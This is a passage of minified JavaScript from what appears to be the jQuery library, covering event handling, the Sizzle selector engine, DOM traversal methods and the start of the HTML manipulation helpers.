pageY screenX screenY toElement".split(" "),filter:function(a,d){var e,f,g,h=d.button,i=d.fromElement;a.pageX==null&&d.clientX!=null&&(e=a.target.ownerDocument||c,f=e.documentElement,g=e.body,a.pageX=d.clientX+(f&&f.scrollLeft||g&&g.scrollLeft||0)-(f&&f.clientLeft||g&&g.clientLeft||0),a.pageY=d.clientY+(f&&f.scrollTop||g&&g.scrollTop||0)-(f&&f.clientTop||g&&g.clientTop||0)),!a.relatedTarget&&i&&(a.relatedTarget=i===a.target?d.toElement:i),!a.which&&h!==b&&(a.which=h&1?1:h&2?3:h&4?2:0);return a}},fix:function(a){if(a[f.expando])return a;var d,e,g=a,h=f.event.fixHooks[a.type]||{},i=h.props?this.props.concat(h.props):this.props;a=f.Event(g);for(d=i.length;d;)e=i[--d],a[e]=g[e];a.target||(a.target=g.srcElement||c),a.target.nodeType===3&&(a.target=a.target.parentNode),a.metaKey===b&&(a.metaKey=a.ctrlKey);return h.filter?h.filter(a,g):a},special:{ready:{setup:f.bindReady},load:{noBubble:!0},focus:{delegateType:"focusin"},blur:{delegateType:"focusout"},beforeunload:{setup:function(a,b,c){f.isWindow(this)&&(this.onbeforeunload=c)},teardown:function(a,b){this.onbeforeunload===b&&(this.onbeforeunload=null)}}},simulate:function(a,b,c,d){var e=f.extend(new f.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?f.event.trigger(e,null,b):f.event.dispatch.call(b,e),e.isDefaultPrevented()&&c.preventDefault()}},f.event.handle=f.event.dispatch,f.removeEvent=c.removeEventListener?function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c,!1)}:function(a,b,c){a.detachEvent&&a.detachEvent("on"+b,c)},f.Event=function(a,b){if(!(this instanceof f.Event))return new f.Event(a,b);a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||a.returnValue===!1||a.getPreventDefault&&a.getPreventDefault()?K:J):this.type=a,b&&f.extend(this,b),this.timeStamp=a&&a.timeStamp||f.now(),this[f.expando]=!0},f.Event.prototype={preventDefault:function(){this.isDefaultPrevented=K;var a=this.originalEvent;!a||(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){this.isPropagationStopped=K;var a=this.originalEvent;!a||(a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=K,this.stopPropagation()},isDefaultPrevented:J,isPropagationStopped:J,isImmediatePropagationStopped:J},f.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){f.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c=this,d=a.relatedTarget,e=a.handleObj,g=e.selector,h;if(!d||d!==c&&!f.contains(c,d))a.type=e.origType,h=e.handler.apply(this,arguments),a.type=b;return h}}}),f.support.submitBubbles||(f.event.special.submit={setup:function(){if(f.nodeName(this,"form"))return!1;f.event.add(this,"click._submit keypress._submit",function(a){var c=a.target,d=f.nodeName(c,"input")||f.nodeName(c,"button")?c.form:b;d&&!d._submit_attached&&(f.event.add(d,"submit._submit",function(a){a._submit_bubble=!0}),d._submit_attached=!0)})},postDispatch:function(a){a._submit_bubble&&(delete a._submit_bubble,this.parentNode&&!a.isTrigger&&f.event.simulate("submit",this.parentNode,a,!0))},teardown:function(){if(f.nodeName(this,"form"))return!1;f.event.remove(this,"._submit")}}),f.support.changeBubbles||(f.event.special.change={setup:function(){if(z.test(this.nodeName)){if(this.type==="checkbox"||this.type==="radio")f.event.add(this,"propertychange._change",function(a){a.originalEvent.propertyName==="checked"&&(this._just_changed=!0)}),f.event.add(this,"click._change",function(a){this._just_changed&&!a.isTrigger&&(this._just_changed=!1,f.event.simulate("change",this,a,!0))});return!1}f.event.add(this,"beforeactivate._change",function(a){var b=a.target;z.test(b.nodeName)&&!b._change_attached&&(f.event.add(b,"change._change",function(a){this.parentNode&&!a.isSimulated&&!a.isTrigger&&f.event.simulate("change",this.parentNode,a,!0)}),b._change_attached=!0)})},handle:function(a){var b=a.target;if(this!==b||a.isSimulated||a.isTrigger||b.type!=="radio"&&b.type!=="checkbox")return a.handleObj.handler.apply(this,arguments)},teardown:function(){f.event.remove(this,"._change");return z.test(this.nodeName)}}),f.support.focusinBubbles||f.each({focus:"focusin",blur:"focusout"},function(a,b){var d=0,e=function(a){f.event.simulate(b,a.target,f.event.fix(a),!0)};f.event.special[b]={setup:function(){d++===0&&c.addEventListener(a,e,!0)},teardown:function(){--d===0&&c.removeEventListener(a,e,!0)}}}),f.fn.extend({on:function(a,c,d,e,g){var h,i;if(typeof a=="object"){typeof c!="string"&&(d=d||c,c=b);for(i in a)this.on(i,c,d,a[i],g);return this}d==null&&e==null?(e=c,d=c=b):e==null&&(typeof c=="string"?(e=d,d=b):(e=d,d=c,c=b));if(e===!1)e=J;else if(!e)return this;g===1&&(h=e,e=function(a){f().off(a);return h.apply(this,arguments)},e.guid=h.guid||(h.guid=f.guid++));return this.each(function(){f.event.add(this,a,e,d,c)})},one:function(a,b,c,d){return this.on(a,b,c,d,1)},off:function(a,c,d){if(a&&a.preventDefault&&a.handleObj){var e=a.handleObj;f(a.delegateTarget).off(e.namespace?e.origType+"."+e.namespace:e.origType,e.selector,e.handler);return this}if(typeof a=="object"){for(var g in a)this.off(g,c,a[g]);return this}if(c===!1||typeof c=="function")d=c,c=b;d===!1&&(d=J);return this.each(function(){f.event.remove(this,a,d,c)})},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},live:function(a,b,c){f(this.context).on(a,this.selector,b,c);return this},die:function(a,b){f(this.context).off(a,this.selector||"**",b);return this},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return arguments.length==1?this.off(a,"**"):this.off(b,a,c)},trigger:function(a,b){return this.each(function(){f.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0])return f.event.trigger(a,b,this[0],!0)},toggle:function(a){var b=arguments,c=a.guid||f.guid++,d=0,e=function(c){var e=(f._data(this,"lastToggle"+a.guid)||0)%d;f._data(this,"lastToggle"+a.guid,e+1),c.preventDefault();return b[e].apply(this,arguments)||!1};e.guid=c;while(d<b.length)b[d++].guid=c;return this.click(e)},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),f.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(a,b){f.fn[b]=function(a,c){c==null&&(c=a,a=null);return arguments.length>0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h<i;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}if(j.nodeType===1){g||(j[d]=c,j.sizset=h);if(typeof b!="string"){if(j===b){k=!0;break}}else if(m.filter(b,[j]).length>0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h<i;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}j.nodeType===1&&!g&&(j[d]=c,j.sizset=h);if(j.nodeName.toLowerCase()===b){k=j;break}j=j[a]}e[h]=k}}}var a=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object Array]")if(!u)e.push.apply(e,k);else if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b<a.length;b++)a[b]===a[b-1]&&a.splice(b--,1)}return a},m.matches=function(a,b){return m(a,null,null,b)},m.matchesSelector=function(a,b){return m(b,null,null,[a]).length>0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e<f;e++){h=o.order[e];if(g=o.leftMatch[h].exec(a)){i=g[1],g.splice(1,1);if(i.substr(i.length-1)!=="\\"){g[1]=(g[1]||"").replace(j,""),d=o.find[h](g,b,c);if(d!=null){a=a.replace(o.match[h],"");break}}}}d||(d=typeof b.getElementsByTagName!="undefined"?b.getElementsByTagName("*"):[]);return{set:d,expr:a}},m.filter=function(a,c,d,e){var f,g,h,i,j,k,l,n,p,q=a,r=[],s=c,t=c&&c[0]&&m.isXML(c[0]);while(a&&c.length){for(h in o.filter)if((f=o.leftMatch[h].exec(a))!=null&&f[2]){k=o.filter[h],l=f[1],g=!1,f.splice(1,1);if(l.substr(l.length-1)==="\\")continue;s===r&&(r=[]);if(o.preFilter[h]){f=o.preFilter[h](f,s,d,r,e,t);if(!f)g=i=!0;else if(f===!0)continue}if(f)for(n=0;(j=s[n])!=null;n++)j&&(i=k(j,f,n,s),p=e^i,d&&i!=null?p?g=!0:s[n]=!1:p&&(r.push(j),g=!0));if(i!==b){d||(s=r),a=a.replace(o.match[h],"");if(!g)return[];break}}if(a===q)if(g==null)m.error(a);else break;q=a}return s},m.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)};var n=m.getText=function(a){var b,c,d=a.nodeType,e="";if(d){if(d===1||d===9||d===11){if(typeof a.textContent=="string")return a.textContent;if(typeof a.innerText=="string")return a.innerText.replace(k,"");for(a=a.firstChild;a;a=a.nextSibling)e+=n(a)}else if(d===3||d===4)return a.nodeValue}else for(b=0;c=a[b];b++)c.nodeType!==8&&(e+=n(c));return e},o=m.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(a){return a.getAttribute("href")},type:function(a){return a.getAttribute("type")}},relative:{"+":function(a,b){var c=typeof b=="string",d=c&&!l.test(b),e=c&&!d;d&&(b=b.toLowerCase());for(var f=0,g=a.length,h;f<g;f++)if(h=a[f]){while((h=h.previousSibling)&&h.nodeType!==1);a[f]=e||h&&h.nodeName.toLowerCase()===b?h||!1:h===b}e&&m.filter(b,a,!0)},">":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e<f;e++){c=a[e];if(c){var g=c.parentNode;a[e]=g.nodeName.toLowerCase()===b?g:!1}}}else{for(;e<f;e++)c=a[e],c&&(a[e]=d?c.parentNode:c.parentNode===b);d&&m.filter(b,a,!0)}},"":function(a,b,c){var d,f=e++,g=x;typeof b=="string"&&!l.test(b)&&(b=b.toLowerCase(),d=b,g=w),g("parentNode",b,f,a,d,c)},"~":function(a,b,c){var d,f=e++,g=x;typeof b=="string"&&!l.test(b)&&(b=b.toLowerCase(),d=b,g=w),g("previousSibling",b,f,a,d,c)}},find:{ID:function(a,b,c){if(typeof b.getElementById!="undefined"&&!c){var d=b.getElementById(a[1]);return d&&d.parentNode?[d]:[]}},NAME:function(a,b){if(typeof b.getElementsByName!="undefined"){var c=[],d=b.getElementsByName(a[1]);for(var e=0,f=d.length;e<f;e++)d[e].getAttribute("name")===a[1]&&c.push(d[e]);return c.length===0?null:c}},TAG:function(a,b){if(typeof b.getElementsByTagName!="undefined")return b.getElementsByTagName(a[1])}},preFilter:{CLASS:function(a,b,c,d,e,f){a=" "+a[1].replace(j,"")+" ";if(f)return a;for(var g=0,h;(h=b[g])!=null;g++)h&&(e^(h.className&&(" "+h.className+" ").replace(/[\t\n\r]/g," ").indexOf(a)>=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,"")},TAG:function(a,b){return a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return b<c[3]-0},gt:function(a,b,c){return b>c[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h<i;h++)if(g[h]===a)return!1;return!0}m.error(e)},CHILD:function(a,b){var c,e,f,g,h,i,j,k=b[1],l=a;switch(k){case"only":case"first":while(l=l.previousSibling)if(l.nodeType===1)return!1;if(k==="first")return!0;l=a;case"last":while(l=l.nextSibling)if(l.nodeType===1)return!1;return!0;case"nth":c=b[2],e=b[3];if(c===1&&e===0)return!0;f=b[0],g=a.parentNode;if(g&&(g[d]!==f||!a.nodeIndex)){i=0;for(l=g.firstChild;l;l=l.nextSibling)l.nodeType===1&&(l.nodeIndex=++i);g[d]=f}j=a.nodeIndex-e;return c===0?j===0:j%c===0&&j/c>=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));o.match.globalPOS=p;var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var e=a.length;c<e;c++)d.push(a[c]);else for(;a[c];c++)d.push(a[c]);return d}}var u,v;c.documentElement.compareDocumentPosition?u=function(a,b){if(a===b){h=!0;return 0}if(!a.compareDocumentPosition||!b.compareDocumentPosition)return a.compareDocumentPosition?-1:1;return a.compareDocumentPosition(b)&4?-1:1}:(u=function(a,b){if(a===b){h=!0;return 0}if(a.sourceIndex&&b.sourceIndex)return a.sourceIndex-b.sourceIndex;var c,d,e=[],f=[],g=a.parentNode,i=b.parentNode,j=g;if(g===i)return v(a,b);if(!g)return-1;if(!i)return 1;while(j)e.unshift(j),j=j.parentNode;j=i;while(j)f.unshift(j),j=j.parentNode;c=e.length,d=f.length;for(var k=0;k<c&&k<d;k++)if(e[k]!==f[k])return v(e[k],f[k]);return k===c?v(a,f[k],-1):v(e[k],b,1)},v=function(a,b,c){if(a===b)return c;var d=a.nextSibling;while(d){if(d===b)return-1;d=d.nextSibling}return 1}),function(){var a=c.createElement("div"),d="script"+(new Date).getTime(),e=c.documentElement;a.innerHTML="<a name='"+d+"'/>",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="<a href='#'></a>",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="<p class='TEST'></p>";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return s([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll("[id='"+n+"'] "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="<div class='test e'></div><div class='test'></div>";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var h=0,i=g.length;h<i;h++)m(a,g[h],e,c);return m.filter(f,e)};m.attr=f.attr,m.selectors.attrMap={},f.find=m,f.expr=m.selectors,f.expr[":"]=f.expr.filters,f.unique=m.uniqueSort,f.text=m.getText,f.isXMLDoc=m.isXML,f.contains=m.contains}();var L=/Until$/,M=/^(?:parents|prevUntil|prevAll)/,N=/,/,O=/^.[^:#\[\.,]*$/,P=Array.prototype.slice,Q=f.expr.match.globalPOS,R={children:!0,contents:!0,next:!0,prev:!0};f.fn.extend({find:function(a){var b=this,c,d;if(typeof a!="string")return f(a).filter(function(){for(c=0,d=b.length;c<d;c++)if(f.contains(b[c],this))return!0});var e=this.pushStack("","find",a),g,h,i;for(c=0,d=this.length;c<d;c++){g=e.length,f.find(a,this[c],e);if(c>0)for(h=g;h<e.length;h++)for(i=0;i<g;i++)if(e[i]===e[h]){e.splice(h--,1);break}}return e},has:function(a){var b=f(a);return this.filter(function(){for(var a=0,c=b.length;a<c;a++)if(f.contains(this,b[a]))return!0})},not:function(a){return this.pushStack(T(this,a,!1),"not",a)},filter:function(a){return this.pushStack(T(this,a,!0),"filter",a)},is:function(a){return!!a&&(typeof a=="string"?Q.test(a)?f(a,this.context).index(this[0])>=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d<a.length;d++)f(g).is(a[d])&&c.push({selector:a[d],elem:g,level:h});g=g.parentNode,h++}return c}var i=Q.test(a)||typeof a!="string"?f(a,b||this.context):0;for(d=0,e=this.length;d<e;d++){g=this[d];while(g){if(i?i.index(g)>-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var V="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/<tbody/i,_=/<|&#?\w+;/,ba=/<(?:script|style)/i,bb=/<(?:script|object|embed|option|style)/i,bc=new RegExp("<(?:"+V+")[\\s/>]","i"),bd=/checked\s*(?:[^=]|=\s*.checked.)/i,be=/\/(java|ecma)script/i,bf=/^\s*<!(?:\[CDATA\[|\-\-)/,bg={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div<div>","</div>"]),f.fn.extend({text:function(a){return f.access(this,function(a){return a===b?f.text(this):this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a))},null,a,arguments.length)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return 